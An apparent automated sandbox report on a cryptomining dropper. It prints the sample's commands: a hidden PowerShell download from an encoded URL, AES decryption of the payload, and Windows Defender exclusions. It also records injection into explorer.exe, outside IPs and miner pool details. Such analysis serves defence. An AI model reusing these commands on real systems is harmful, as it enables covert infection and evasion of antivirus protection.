Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17934
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17894
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17899
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node	graph_16-18697
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00327111 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_00327111

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0031CA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

13_2_0031CA00

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000000014000D9C4 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_000000014000D9C4

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00305720 GetCurrentProcess,IsWow64Process,GetProcessHeap,

13_2_00305720

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00327111 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00327111
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0032A950 SetUnhandledExceptionFilter,	13_2_0032A950
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00327FFF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00327FFF
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2C4B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00E2C4B0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2E488 SetUnhandledExceptionFilter,	16_2_00E2E488
Source: C:\Windows\explorer.exe	Code function: 16_2_00E30D64 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00E30D64
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2A6E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00E2A6E8
Source: C:\Windows\explorer.exe	Code function: 18_2_02382A80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_02382A80
Source: C:\Windows\explorer.exe	Code function: 18_2_02385890 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_02385890
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC1190 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	19_2_00007FF66CCC1190
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CF844B0 SetUnhandledExceptionFilter,	19_2_00007FF66CF844B0

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: WindosCPUsystem.exe.16.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 5.188.137.200 3333
Source: C:\Windows\explorer.exe	Network Connect: 154.216.20.243 443
Source: C:\Windows\explorer.exe	Network Connect: 37.203.243.102 3333
Source: C:\Windows\explorer.exe	Network Connect: 185.157.162.216 5200	Jump to behavior

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0030A1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,

13_2_0030A1B0

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtMapViewOfSection: Indirect: 0x1677ADB8CB4
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtMapViewOfSection: Indirect: 0x1677ADB8777
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtMapViewOfSection: Indirect: 0x16DE6BC8777
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtMapViewOfSection: Indirect: 0x16DE6BC8CB4
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtUnmapViewOfSection: Indirect: 0x1677ADB8C48
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	NtUnmapViewOfSection: Indirect: 0x16DE6BC8C48

Injects code into the Windows Explorer (explorer.exe)

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Memory written: PID: 1436 base: 140000000 value: 4D
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Memory written: PID: 1436 base: 140001000 value: NU
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Memory written: PID: 1436 base: 140665000 value: DF
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Memory written: PID: 1436 base: 140834000 value: 00
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Memory written: PID: 1436 base: 11AF010 value: 00

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Thread register set: target process: 1436

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00304410 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	13_2_00304410
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_003044E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	13_2_003044E0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E042E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	16_2_00E042E0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E043D0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	16_2_00E043D0

Source: C:\Windows\explorer.exe

Code function: 16_2_00E0A3B0 setsockopt,SetEvent,LocalAlloc,wnsprintfW,LocalAlloc,lstrcpyW,LocalAlloc,lstrcpyW,CoInitializeEx,ShellExecuteExW,GetLastError,CoUninitialize,LocalAlloc,wnsprintfW,CreateProcessW,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,shutdown,closesocket,

16_2_00E0A3B0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net session	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_file.exe "C:\Users\user\AppData\Local\Temp\downloaded_file.exe"	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'	Jump to behavior
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "invoke-webrequest -uri ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('ahr0chm6ly93b28wotc4nzg3odeud2lul2rvd25sb2fkzwrfzmlszs5iaw4='))) -outfile 'c:\users\user\appdata\local\temp\downloaded_file.bin'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "$key = [system.text.encoding]::utf8.getbytes('blmgb+wrfprxmfxk7ymkpm3svhuaypt9');" "$iv = [system.text.encoding]::utf8.getbytes('5t9nsupo0ca/tujh');" "$aes = [system.security.cryptography.aes]::create();" "$aes.key = $key; $aes.iv = $iv;" "$decryptor = $aes.createdecryptor();" "$inputfile = 'c:\users\user\appdata\local\temp\downloaded_file.bin';" "$encryptedbytes = [system.io.file]::readallbytes($inputfile);" "$decryptedbytes = $decryptor.transformfinalblock($encryptedbytes, 0, $encryptedbytes.length);" "$outputfile = 'c:\users\user\appdata\local\temp\downloaded_file.exe';" "[system.io.file]::writeallbytes($outputfile, $decryptedbytes);"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "invoke-webrequest -uri ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('ahr0chm6ly93b28wotc4nzg3odeud2lul2rvd25sb2fkzwrfzmlszs5iaw4='))) -outfile 'c:\users\user\appdata\local\temp\downloaded_file.bin'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "$key = [system.text.encoding]::utf8.getbytes('blmgb+wrfprxmfxk7ymkpm3svhuaypt9');" "$iv = [system.text.encoding]::utf8.getbytes('5t9nsupo0ca/tujh');" "$aes = [system.security.cryptography.aes]::create();" "$aes.key = $key; $aes.iv = $iv;" "$decryptor = $aes.createdecryptor();" "$inputfile = 'c:\users\user\appdata\local\temp\downloaded_file.bin';" "$encryptedbytes = [system.io.file]::readallbytes($inputfile);" "$decryptedbytes = $decryptor.transformfinalblock($encryptedbytes, 0, $encryptedbytes.length);" "$outputfile = 'c:\users\user\appdata\local\temp\downloaded_file.exe';" "[system.io.file]::writeallbytes($outputfile, $decryptedbytes);"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00310400 AllocateAndInitializeSid,_memset,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

13_2_00310400

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0031C3A0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_0031C3A0

Source: explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: me":ername":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activeow":"C:\\Windows\\explorer.exe - Program Manager","runtime":1,"type":"xmrig","status":1}
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.000000000142C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzC:\Windows\explorer.exe - Program Manager
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: foqmofc","computername":"642294","username":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":1,"type":"xmrig","status":1}H22
Source: explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ow":"C:\\Windows\\explorer.exe - Program Manager","runtime":1,"type":"xmrig","status":1}
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2934227088.0000000003950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\explorer.exe - Program Manager
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"id":"yeerysyjbfoqmofc","computername":"642294","username":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":61,"type":"xmrig","pool":"pool.hashvault.pro","port":3333,"algo":"rx/0","worker":"","password":"","user":"46YsJeNg78AFeAsVAS8AGTD5nfNhSfrqNALiwpnJhBkXcgRggpykaKZYjp3YSwYRD2A1cEHqqkuqDKHXWj4XSVjxG8asejB","hashrate":0.0,"status":2}
Source: explorer.exe, 0000001C.00000002.2934227088.0000000003950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzC:\Windows\explorer.exe - Program Managerpool.hashvault.pro46YsJeNg78AFeAsVAS8AGTD5nfNhSfrqNALiwpnJhBkXcgRggpykaKZYjp3YSwYRD2A1cEHqqkuqDKHXWj4XSVjxG8asejB
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"id":"yeerysyjbfoqmofc","computername":"642294","username":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":61,"type":"xmrig","pool":"pool.hashvault.pro","port":3333,"algo":"rx/0","worker":"","password":"","user":"46YsJeNg78AFeAsVAS8AGTD5nfNhSfrqNALiwpnJhBkXcgRggpykaKZYjp3YSwYRD2A1cEHqqkuqDKHXWj4XSVjxG8asejB","hashrate":0.0,"status":2}]
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"id":"yeerysyjbfoqmofc","computername":"642294","username":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":1,"type":"xmrig","status":1}
Source: explorer.exe, 0000001C.00000003.2505054410.0000000001434000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: foqmofc","computername":"642294","username":"user","gpu":"5288N63ZM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":1,"type":"xmrig","status":1}

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: OpenEventW,OpenMutexW,OpenMutexW,WaitForSingleObject,CreateEventW,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,Sleep,WaitForSingleObject,WaitForSingleObject,setsockopt,CreateEventW,LocalAlloc,CreateThread,GetTickCount,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,GetTickCount,___crtGetLocaleInfoEx,Sleep,shutdown,closesocket,SetEvent,WaitForSingleObject,CloseHandle,LocalFree,CloseHandle,shutdown,closesocket,CloseHandle,ExitProcess,WaitForSingleObject,WaitForSingleObject,SetEvent,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,ReleaseMutex,CloseHandle,CloseHandle,CloseHandle,	13_2_00321030
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	13_2_003170F2
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	13_2_003170D9
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	13_2_00320950
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,wsprintfW,GetForegroundWindow,SetWindowTextW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0031F9E0
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0031FC10
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	13_2_003204F0
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	13_2_00320CD0
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,setsockopt,___crtGetLocaleInfoEx,closesocket,setsockopt,___crtGetLocaleInfoEx,closesocket,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,___crtGetLocaleInfoEx,closesocket,	13_2_00316D30
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,htons,wsprintfA,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	13_2_00320630
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0031FE10
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: ___crtGetLocaleInfoEx,	13_2_0031F690
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: ___crtGetLocaleInfoEx,	13_2_0031F730
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0031F7D0

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
